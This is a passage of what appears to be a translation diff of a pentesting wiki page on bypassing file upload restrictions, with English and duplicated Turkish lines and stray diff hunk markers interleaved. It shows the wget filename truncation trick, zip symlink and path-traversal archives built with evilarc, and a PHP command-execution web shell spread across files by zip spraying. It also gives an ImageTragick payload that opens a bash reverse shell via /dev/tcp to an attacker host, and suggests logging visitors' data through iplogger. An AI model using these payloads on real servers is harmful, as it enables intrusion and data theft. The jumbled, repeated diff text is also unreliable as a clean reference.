Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** **belirtebildiğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
linux'ta bir **dosya adı**nın maksimum uzunluğu **255** karakterdir; ancak **`wget`** dosya adlarını **236** karaktere kadar kısaltır. `wget` ile **"A"\*232+".php"+".gif"** adında bir dosya indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** **geçerli** bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtmenize izin verdiğini görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilenlerin indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
linux'ta bir **dosya adının** **maksimum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kadar kısaltır. Siz **"A"\*232+".php"+".gif"** adlı bir dosya indirebilirsiniz; bu dosya adı **kontrolü atlatır** (örneğin bu durumda **".gif"** **geçerli** bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak yeniden adlandırır.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -195,15 +186,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Dikkat: bu kontrolü atlatmak için aklınıza gelebilecek **başka bir seçenek**, **HTTP server'ın farklı bir dosyaya redirect etmesini** sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır, ancak wget yönlendirilen dosyayı yeni adıyla indirir. Bu **çalışmaz** **temin ki** wget `--trust-server-names` **parametresiyle kullanılmıyorsa**, çünkü **wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirir**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Tools
## Araçlar
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) güçlü bir araçtır ve Pentesters ile Bug Hunters'ın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmıştır. Çeşitli bug bounty tekniklerinden yararlanarak zafiyetleri tespit etmeyi ve exploit etmeyi kolaylaştırır, web uygulamalarının kapsamlı değerlendirilmesini sağlar.
### Corrupting upload indices with snprintf quirks (historical)
Bazı eski upload handler'ları, tek dosyalık bir upload'tan multi-file array'ler oluşturmak için `snprintf()` veya benzerlerini kullandığında, `_FILES` yapısını sahte olarak oluşturacak şekilde kandırılabilirler. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden fazla indekslenmiş dosya gibi görünebilir ve katı bir şekil varsayan mantığı (ör. bunu çoklu dosya upload'u olarak ele alıp güvensiz dallara gitmek) şaşırtabilir. Günümüzde nadir olsa da, bu “index corruption” paterni zaman zaman CTF'lerde ve eski kod tabanlarında tekrar ortaya çıkar.
Bazı legacy upload handler'lar, tek dosyalık bir upload'tan multi-file array'leri oluşturmak için `snprintf()` veya benzerini kullanırken `_FILES` yapısını forge etmeye ikna edilebilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload sunucu tarafında birden fazla indexlenmiş dosya gibi görünebilir; bu da katı bir shape varsayan (ör. multi-file upload olarak ele alıp unsafe branch'lere giren) mantığı kafası karışmış hale getirir. Bugün nadir olsa da, bu “index corruption” paterni ara sıra CTF'lerde ve eski kod tabanlarında yeniden ortaya çıkar.
## From File upload to other vulnerabilities
@ -217,13 +208,13 @@ Bazı eski upload handler'ları, tek dosyalık bir upload'tan multi-file array'l
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Eğer web server'a bir URL'den image çekmesini **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Bu **image** bazı **public** bir sitede **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL gösterip **her ziyaretçinin bilgilerini çalabilirsiniz**.
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- XSS amaçlı özel hazırlanmış PDF'ler: Aşağıdaki sayfa **PDF verisi enjekte ederek JS çalıştırma elde etme** yöntemini gösterir. Eğer PDF yükleyebiliyorsanız, verilen yönergelere uyan rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
- Check if there is any **size limit** uploading files
İşte yükleyerek başarabileceğiniz şeylerin top 10 listesi (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -248,34 +239,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Diğer dosya tipleri için şu sayfaya bakın: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar File Automatically decompressed Upload
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz:
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Diğer dosyalara soft link içeren bir link yükleyin; daha sonra, açılmış dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz:
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Farklı klasörlere dekompresyon
### Farklı klasörlere Decompress
Dekompresyon sırasında dizinlerde beklenmedik dosyaların oluşturulması ciddi bir sorundur. Bu düzenlemenin kötü amaçlı dosya yüklemeleri yoluyla OS-level command execution'a karşı koruma sağlayabileceği ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri sömürülebilir. Bu, hedef uygulamanın dekompresyon işlevini manipüle ederek saldırganların kısıtlamaları atlatmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır.
Dekompress/archiv açma sırasında dizinlerde beklenmedik dosyaların oluşturulması önemli bir sorundur. İlk etapta bu yapılandırmanın zararlı dosya yüklemeleri yoluyla OS-level command execution'u engelleyeceği düşünülse de, ZIP archive format'ın hierarchical compression support ve directory traversal yetenekleri sömürülebilir. Bu, saldırganların kısıtlamaları atlamasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload directories'den kaçmasına olanak tanır.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)'da mevcuttur. Yardımcı program şu şekilde kullanılabilir:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Ek olarak, **symlink trick with evilarc** bir seçenektir. Hedef `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer hedef `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python koduna bir örnek bulunmaktadır:
```python
#!/usr/bin/python
import zipfile
@ -295,9 +286,9 @@ create_zip()
```
**Sıkıştırmayı file spraying için kötüye kullanma**
Daha fazla ayrıntı için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Daha fazla detay için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle gelen komutları çalıştırmak için yazılır.
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeni aracılığıyla iletilen komutları çalıştırmak için yazılır.
```php
<?php
@ -307,14 +298,14 @@ system($cmd);
}?>
```
2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden çok dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
2. **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex Editor veya vi ile Değiştirme**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinleri gezmek için "xxA" -> "../" olarak değiştirilir.
3. **Hex Editor veya vi ile Değiştirme**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinleri geçmek için "xxA" "../" ile değiştirilir.
```bash
:set modifiable
@ -324,40 +315,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Bu içeriği bir görüntü uzantısıyla yükleyin; açığı istismar etmek için **(ImageMagick , 7.0.1-1)** (detaylar: [exploit](https://www.exploit-db.com/exploits/39767))
Bu içeriği bir image uzantısıyla yükleyerek açığı kötüye kullanın **(ImageMagick , 7.0.1-1)** (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## PNG İçine PHP Shell Gömme
Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized ve imagecopyresampled fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanıldığından bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği belirli kullanım senaryoları için önemli bir avantaj sağlar.
PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla resimlerin yeniden boyutlandırılması ve yeniden örneklenmesi için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, bazı kullanım senaryoları için önemli bir avantaj sağlar.
Bu tekniğin metodolojisi ve olası uygulamaları dahil olmak üzere ayrıntılı bir inceleme aşağıdaki makalede sunulmuştur: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sağlar.
Bu tekniğin metodolojisi ve potansiyel uygulamalarını ayrıntılı şekilde inceleyen makale şurada bulunabilir: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve etkilerinin kapsamlı bir anlayışını sunar.
Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Poliglot Dosyalar
## Polyglot Files
Poliglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen bukalemunlar gibidirler. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar) hibritidir. Bu tür dosyalar bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Polyglot files, aynı anda birden fazla dosya formatında geçerli olabilen kameleonlar gibi davranarak siber güvenlikte benzersiz bir araç görevi görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) olup, hem GIF hem de RAR arşivi olarak işlev gören hibrittir. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini aşabilme kapasiteleridir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerinin yüklenmesine izin verilmesi yaygın bir uygulamadır; bu, JS, PHP veya Phar gibi potansiyel olarak zararlı formatların riskini azaltmak içindir. Ancak bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyduğundan, bu kısıtlamaları gizlice atlatabilir.
Polyglot dosyaların temel faydası, dosyaları türüne göre tarayan güvenlik önlemlerini atlatabilme yetenekleridir. Birçok uygulamada yalnızca belirli dosya türlerinin yüklenmesine izin verilir—örneğin JPEG, GIF veya DOC—böylece potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riski azaltılmaya çalışılır. Ancak bir polyglot, birden çok dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice aşabilir.
Uyarlanabilirliklerine rağmen poliglotların sınırlamaları vardır. Örneğin, bir poliglot aynı anda bir PHAR file (PHp ARchive) ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, bir poliglotun yalnızca yapısal ikiliği yüklenmesini garanti etmeyebilir.
Uyarlanabilirliklerine rağmen polyglot'ların sınırlamaları vardır. Örneğin bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG içerebilir, ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un sadece yapısal çiftliği yüklenmesini garanti etmeyebilir.
Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### PDF gibi davranarak geçerli JSON'ları yükleme
Bir PDF dosyası gibi sahte göstererek, izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından):
PDF taklidi yaparak izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından alınmıştır):
- **`mmmagic` library**: `%PDF` magic bytes ilk 1024 bayt içinde olduğu sürece geçerli sayılır (örnek için yazıya bakın)
- **`pdflib` library**: Kütüphanenin bunun bir pdf olduğunu düşünmesi için JSON'un içindeki bir alana sahte bir PDF formatı ekleyin (örnek için yazıya bakın)
- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edemeyeceği şekilde bundan daha büyük bir JSON oluşturun ve sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun; böylece bunun bir PDF olduğunu düşünecektir
- **`mmmagic` library**: İlk 1024 bayt içinde `%PDF` magic bytes olduğ sürece geçerlidir (örnek için yazıya bakın)
- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu düşünsün (örnek için yazıya bakın)
- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edememesi için daha büyük bir JSON oluşturun ve sonra JSON içinde gerçek bir PDF'in başlangıç kısmını koyun; böylece PDF olduğunu düşünecektir
## References
## Referanslar
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)